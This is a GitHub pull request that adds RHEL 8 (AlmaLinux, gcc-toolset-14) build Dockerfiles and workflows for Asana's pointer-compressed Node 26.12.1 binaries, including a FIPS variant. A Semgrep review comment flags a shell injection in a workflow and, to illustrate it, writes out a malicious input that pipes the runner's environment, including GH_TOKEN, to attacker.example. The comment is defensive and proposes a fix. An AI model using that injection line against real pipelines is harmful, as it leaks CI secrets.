Skip to content

Node 26.12.1 build (RHEL 8 toolchain) for post-Fiber Elimination LunaServer - #31

Merged
jrsells merged 7 commits into
v26.12.1from
jrsells/node-v26.12.1-rhel8
Nov 5, 2026
Merged

jrsells merged 7 commits into
v26.12.1from
jrsells/node-v26.12.1-rhel8

Conversation

@jrsells

@jrsells jrsells commented Oct 26, 2026 •

Copy link
Copy Markdown

Summary

Asana's Node.js 26.12.1 build for LunaServer after Fiber Elimination. It's the Node 26 counterpart of #30 (Node 24.22.1) and uses the same approach: no Node or V8 source changes, just builds with V8 pointer compression, which upstream release binaries don't include. codez uses these binaries for the Node 26 patchbed images (Asana/codez#456712).

The base branch v26.12.1 is exactly upstream v26.12.1 (bc2e01dcf6).

The toolchain problem, and how this avoids it

Node 26 requires GCC ≥ 13.2 or Clang ≥ 19.1. A plain GCC 13 build links against libstdc++'s GLIBCXX_3.4.31 and newer. Those versions aren't available on the Ubuntu 22.04 sandboxes and EngFlow remote-execution workers that run LunaServer's Node toolchain in tests.

Upstream has the same problem and solves it in its official binaries, which are built on RHEL 8 with gcc-toolset. gcc-toolset links the parts of libstdc++ that are newer than RHEL 8's system GCC 8 runtime statically into the binary. This PR builds the same way, on AlmaLinux 8 with gcc-toolset-14. That requires:

  • no upgrade to the RBE or sandbox OS;
  • no static linking of the whole of libstdc++;
  • no older compiler.

The binaries need only glibc ≥ 2.28 and GLIBCXX_3.4.21. Unlike upstream's binaries for Node 25 and later, they don't link libatomic.

What's in it

  • Dockerfile.Node26
    • AlmaLinux 8 (pinned to the image digest that built the published binaries) with gcc-toolset-14, Python 3.12, and Rust 1.99.1 through rustup.
    • Configured with --experimental-enable-pointer-compression --v8-enable-temporal-support. Each isolate gets its own pointer cage. Our Node 22 build uses a shared cage instead, but here that would enable the V8 sandbox, which rejects the external ArrayBuffer backing stores that native addons create.
    • Built as a position-independent executable (-fPIE/-pie), so ASLR also covers Node's own code. Our Node 22 builds got this from Ubuntu's GCC defaults; gcc-toolset and official Node builds don't do it.
    • Temporal is built from the vendored deps/crates, as in official builds.
  • Dockerfile.Node26fips
    • Same as the standard build, plus --shared-openssl against OpenSSL 3.0.22 built from source (pinned SHA-256), because RHEL 8's system OpenSSL is 1.1.1.
    • OpenSSL 3.0.x exports everything under the OPENSSL_3.0.0 symbol version, so the binary uses the runtime libssl.so.3: Ubuntu's 3.0.2, or 3.5.9 and its FIPS provider in the LunaServer FIPS image.
    • The only libcrypto exports 3.0.22 adds over 3.0.2 are OPENSSL_str[n]casecmp and two CMP functions. Node uses none of them.
  • Dockerfile.Packages
    • The same RHEL 8 toolchain, pinned to the image digest that built the published packages.
    • Versions are ARGs, and the workflow reads them to name the store directories.
    • @datadog/pprof is 5.15.1, which codez's dd-trace 5.116.0 pins.
      5.16.0 and later add otel-thread-ctx.cc, which static_asserts that V8 was built without pointer compression, so they don't compile against our headers.
    • Our binary is installed into build/Release/, which node-gyp-build checks first, and also over any stock prebuild for this ABI.
  • Workflows, asana-verify-build.sh, asana-smoke-test.js and stage_for_s3.bash are as in Node 24.22.1 build for post-Fiber Elimination LunaServer #30, with these Node 26 additions:
    • The smoke tests run with LD_BIND_NOW=1, so a missing library symbol fails immediately instead of at first call.
    • The smoke test checks that Node accepts every flag LunaServer passes, including --no-experimental-global-navigator, --no-experimental-webstorage and NODE_OPTIONS=--experimental-abortcontroller.
    • The verify script fails a build that isn't a position-independent executable.
    • FIPS builds must need nothing newer than OPENSSL_3.0.0.
    • libatomic is installed in the test containers when the binary needs it.
    • The expected Node major version is read from src/node_version.h.
    • The FIPS workflow builds the branch it runs from unless BUILD_REF is set.
    • build-node-packages.yml has no workflow_run trigger: GitHub only runs those from the default branch's copy. Packages for this branch are staged with stage_for_s3.bash and uploaded by hand.

codez status

The codez changes Node 26 needed are merged: #457548 (Kafka bindings for ABI 147, GC entry details and --no-experimental-webstorage), #457549 (dd-trace 5.116 with pprof 5.15.1) and #456756 (jws versions that don't import SlowBuffer). #456712 builds the Node 26 images for patchbed.

Newer dd-trace releases pin pprof 5.17+. Getting onto those needs either a small patch that compiles out otel-thread-ctx on pointer-compressed builds or an upstream fix from Datadog.

Published artifacts

  • Node binaries: built from 4d7a6b2bca on Nov 4 by Build Node (Standard) and Build Node (FIPS), and published to S3 as pc-20261104.1958-0153. The later commits change only workflows, comments, pins and tests, not the build output.
  • Native packages: packages_{amd64,arm64}_node26-{09ae50a7,1dfc45ed}.tar.gz, built by Build Node-Packages.
  • Testing in codez: the images built from these artifacts pass the Node 26 container tests in CI. On a sandbox, they also served webserver requests, processed remote jobs and ran the profiler, and FIPS mode and TLS work in the FIPS image.

Upstream's Linters fail on Asana's files (quoted YAML strings, bash scripts), and upstream's macOS test suite fails. This PR changes no Node source.

The same RHEL 8 setup would also give #30 more headroom: that build sits at exactly GLIBCXX_3.4.30, Ubuntu 22.04's ceiling.

Standard and FIPS builds configured with
--experimental-enable-pointer-compression (multi-cage, V8 sandbox off)
and Temporal support, with no Node or V8 source changes.

Node 26 needs GCC >= 13.2, newer than Ubuntu 22.04's libstdc++ (the
sandbox and remote-execution hosts). Like the official release
binaries, these build on RHEL 8 (AlmaLinux 8) with gcc-toolset-14,
which keeps the runtime requirements at glibc 2.28, GLIBCXX_3.4.25 and
libatomic. The FIPS build compiles against OpenSSL 3.0 LTS built from
source and links against the system libssl.so.3 at runtime.

Each build is verified before it is published: symbol versions must be
available on Ubuntu 22.04, and asana-smoke-test.js must pass with
LD_BIND_NOW=1 on stock Ubuntu 22.04 and on Wolfi.

Native packages are rebuilt with the same toolchain; @datadog/pprof
moves to 5.20.0, the first line with Node 26 (ABI 147) support.

Co-authored-by: Cursor <cursoragent@cursor.com>
Comment on lines +64 to +66
run: |
docker build -t node_fips_build -f ./${{ inputs.DOCKER_FILE }} .

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🟠 High severity blocking issue identified in your code:

The untrusted inputs.DOCKER_FILE value is inserted into a shell command, allowing a caller to execute commands on the GitHub Actions runner and exfiltrate GH_TOKEN or modify build artifacts.

More details about this

inputs.DOCKER_FILE is interpolated directly into the shell script that runs docker build. Because workflow inputs can be controlled by a workflow caller or an untrusted workflow trigger, an attacker can supply shell metacharacters instead of only a Dockerfile path.

For example, a malicious input such as:

Dockerfile; env | curl -X POST --data-binary @- https://attacker.example/collect #

turns the step into commands equivalent to:

docker build -t node_fips_build -f ./Dockerfile

env | curl -X POST --data-binary @- https://attacker.example/collect

The injected command executes on the GitHub runner with the workflow environment, including GH_TOKEN from secrets.GITHUB_TOKEN, and can send that token, checked-out source, or other runner data to the attacker. Since this step runs before artifact creation, the attacker can also alter the build or workspace and influence the files later archived by Upload Node archive.

To resolve this comment:

✨ Commit fix suggestion

Suggested change
run: |
docker build -t node_fips_build -f ./${{ inputs.DOCKER_FILE }} .
env:
DOCKER_FILE: ${{ inputs.DOCKER_FILE }}
run: |
docker build -t node_fips_build -f "./$DOCKER_FILE" .
View step-by-step instructions
  1. Add the input to the step’s env: block instead of interpolating it directly in the shell script:
    env:
      DOCKER_FILE: ${{ inputs.DOCKER_FILE }}
  2. Replace the direct GitHub expression with the quoted environment variable:
    run: |
      docker build -t node_fips_build -f "./$DOCKER_FILE" .
  3. Keep the working-directory: node setting so the Dockerfile path remains relative to the checked-out Node source. Quoting "$DOCKER_FILE" prevents input characters from being interpreted as shell syntax.
💬 Ignore this finding

Reply with Semgrep commands to ignore this finding.

  • /fp <comment> for false positive
  • /ar <comment> for acceptable risk
  • /other <comment> for all other reasons

Alternatively, triage in Semgrep AppSec Platform to ignore the finding created by run-shell-injection.

Please reach out to Security (go/sec-inbox) if you need help with this.

You can view more details about this finding in the Semgrep AppSec Platform.

@semgrep-code-asana

Copy link
Copy Markdown

Semgrep found 8 github-actions-mutable-action-tag findings:

🟡 Medium severity issue identified in your code:

GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608.

Please reach out to Security (go/sec-inbox) if you need help with this.

Co-authored-by: Cursor <cursoragent@cursor.com>
@jrsells
jrsells marked this pull request as ready for review November 5, 2026 00:10
jrsells and others added 5 commits November 4, 2026 17:26
gcc-toolset on RHEL 8 doesn't build PIE by default, so the Node 26
binaries lost the ASLR coverage our Node 22 builds got from Ubuntu's
GCC. asana-verify-build.sh now fails a non-PIE build.

Co-authored-by: Cursor <cursoragent@cursor.com>
BUILD_REF defaulted to the upstream v26.12.1 branch, so running the
workflow from another branch silently built different code than the
standard build. Leave it empty to build the branch the workflow runs
from, as build-node.yml does.

Co-authored-by: Cursor <cursoragent@cursor.com>
Pin almalinux:8 and Rust to the versions that built the published
binaries and packages. The dnf packages, including gcc-toolset-14,
still float. The binaries need GLIBCXX_3.4.21 at most and don't link
libatomic.
GitHub only runs workflow_run triggers from the default branch's copy of
a workflow, so this one never fired. Correct the S3 comment: main's copy
builds Node 22's packages, so this branch's are uploaded by hand.

Co-authored-by: Cursor <cursoragent@cursor.com>
Node exits on an option it doesn't know, so a release that drops one of
the flags LunaServer passes should fail the smoke test, not LunaServer.

Co-authored-by: Cursor <cursoragent@cursor.com>
@jrsells
jrsells force-pushed the jrsells/node-v26.12.1-rhel8 branch from 4a325dc to 914bced Compare November 5, 2026 04:44
@jrsells
jrsells merged commit 0db1583 into v26.12.1 Nov 5, 2026
16 of 18 checks passed
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Development

Successfully merging this pull request may close these issues.

1 participant